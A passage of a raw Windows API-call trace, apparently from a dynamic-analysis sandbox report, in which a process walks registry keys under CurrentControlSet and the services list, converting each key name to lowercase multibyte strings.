lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0251.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.089] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.089] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0251.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0251.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.089] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.089] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0251.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1de4768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0251.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.090] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.090] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0251.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1de4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0251.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.090] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.090] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0251.090] RegCloseKey (hKey=0x154) returned 0x0 [0251.090] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0251.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0251.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.090] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.090] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0251.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0251.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.091] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.091] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0251.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1de4768, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0251.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.091] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.091] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0251.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0251.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.091] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.091] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0251.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0251.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.091] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.091] RegOpenKeyExW (in: hKey=0xc8, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0251.092] RegCloseKey (hKey=0xc8) returned 0x0 [0251.092] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0251.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1de4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0251.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.092] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.092] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.092] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.092] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0251.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0251.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1de4768, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0251.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.092] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.092] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.092] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.092] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0251.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0251.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1de4450, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0251.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.092] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.092] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.092] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.092] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0251.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0251.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1de4768, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0251.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.093] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.093] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0251.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0251.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1de4450, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0251.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.093] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.093] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0251.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0251.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1de4768, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0251.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.093] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.093] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0251.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1de4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0251.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.093] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.093] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0251.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0251.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.094] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.094] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.094] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.094] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0251.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0251.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.094] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.094] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.094] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.094] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0251.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0251.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.094] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.094] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.094] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.094] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0251.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0251.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1de4450, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0251.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.095] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.095] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0251.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0251.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.095] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.095] RegEnumKeyW (in: 